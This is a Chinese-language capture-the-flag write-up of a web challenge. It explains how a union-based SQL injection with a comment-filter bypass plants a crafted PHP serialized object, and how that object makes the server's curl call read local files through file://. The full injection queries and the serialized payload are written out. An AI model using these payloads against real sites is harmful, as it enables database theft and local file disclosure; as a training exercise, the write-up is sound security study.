网站就一个login功能和一个join功能,先join一个账户,
主界面显示出来刚刚注册的账户信息
点进去之后发现下面有一个iframe,是blog所指向的网站。
刚开始猜测是ssrf,但是发现后台只允许http(s)://example.com形式的网站,但是此时注意到上方url是view.php?no=1
的形式,于是试一下sql注入。
证明确实存在漏洞,接着order by,union select一直往下注,但是union select时页面提示no hack ~_~
,说明有过滤,union/**/select
即可绕过。
查表:
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
查列:
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#
可以看到有4个字段,其中no、username、passwd都很好理解,也没什么用,关键在于第四个字段data,看一下里面有什么内容
根据回显得知data里面存放的是注册信息的序列化数据。
但是题做到这就不知道该怎么利用了,后来看了wp才知道可以扫到一个robots.txt,但是由于buu平台禁止扫描,就很尴尬。。。
查看robots.txt,里面内容
User-agent: *
Disallow: /user.php.bak
再去查看user.php.bak,
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
从前面sql注入底部的报错来看,
Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67
网页会调用getBlogContents()
来获取blog中的内容,再看get方法,里面是用过curl_exec
方法来实现获取网页内容的,而curl_exec
可以通过file://
协议来读取本地文件内容。
知道了这些东西后,就可以开始构造payload了:
var_dump(serialize(new UserInfo('test',15,'file:///var/www/html/flag.php')));
string(104) "O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}"
将其通过sql注入的方式直接放在第四列即可,
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users#
访问后查看源码,iframe的src中的内容base64解码后就是flag.php的内容。
至于为什么可以通过sql注入的方式让网页解析用户传入的序列化对象,首先是view.php,
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
首先是使用$db->getUserByNo
来获取数据库中的序列化对象,但是当使用sql注入破坏原有的逻辑后,$res
得到的就是我们所构造的序列化对象,然后程序调用unserialize反序列化我们传入的对象,下面再调用其中的getBlogContents
方法。